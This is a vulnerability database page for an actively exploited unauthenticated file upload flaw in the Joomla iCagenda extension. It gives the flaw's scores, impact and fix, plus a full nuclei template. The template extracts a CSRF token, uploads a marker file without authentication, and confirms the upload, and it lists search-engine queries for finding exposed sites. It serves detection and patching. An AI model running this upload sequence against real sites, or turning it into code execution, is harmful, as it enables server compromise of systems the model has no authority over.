Browse / CVEs / CVE-2026-48939
CVE-2026-48939· joomlic / icagenda· CWE-434
Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE
Exploited in the wild. Listed by CISA on 2026-07-10; known to be used by ransomware.
criticalseverity
9.8CVSS score
20.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.
Impact
Attackers can upload and execute arbitrary PHP code, leading to full server compromise.
Fix
Update to the latest version of iCagenda extension.
How to confirm it
Send: GET /administrator/
Positive when: status_code == 200 and contains(body, "icagenda") || contains(body, "iCagenda")
Send: POST /index.php?option=com_icagenda&task=registration.submit
Positive when: status_code == 200 || status_code == 303
Send: GET /images/icagenda/frontend/attachments/{{marker}}.txt
Positive when: status_code == 200 and contains(body, "CVE-2026-48939-FILE-UPLOAD-CONFIRMED")Run it with nuclei: nuclei -id CVE-2026-48939 -u <target>
The full check
id: CVE-2026-48939
info:
name: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE
author: 0x_Akoko
severity: critical
description: |
iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.
impact: |
Attackers can upload and execute arbitrary PHP code, leading to full server compromise.
remediation: |
Update to the latest version of iCagenda extension.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-48939
- https://github.com/ChiefYoru/CVE-2026-48939_PoC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-48939
epss-score: 0.20069
epss-percentile: 0.97468
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
vendor: joomlic
product: icagenda
framework: joomla
shodan-query: http.html:"com_icagenda"
fofa-query: body="com_icagenda"
tags: cve,cve2026,joomla,icagenda,file-upload,rce,intrusive,kev,vkev
variables:
marker: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /administrator/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "icagenda") || contains(body, "iCagenda")'
condition: and
internal: true
extractors:
- type: regex
name: csrf
group: 1
internal: true
regex:
- 'name="([a-f0-9]{32})"\s+value="1"'
- raw:
- |
POST /index.php?option=com_icagenda&task=registration.submit HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----iCagendaBoundary48939
X-Requested-With: XMLHttpRequest
Referer: {{BaseURL}}/
------iCagendaBoundary48939
Content-Disposition: form-data; name="{{csrf}}"
1
------iCagendaBoundary48939
Content-Disposition: form-data; name="jform[attachment]"; filename="{{marker}}.txt"
Content-Type: text/plain
CVE-2026-48939-FILE-UPLOAD-CONFIRMED
------iCagendaBoundary48939--
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 303'
internal: true
- raw:
- |
GET /images/icagenda/frontend/attachments/{{marker}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "CVE-2026-48939-FILE-UPLOAD-CONFIRMED")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from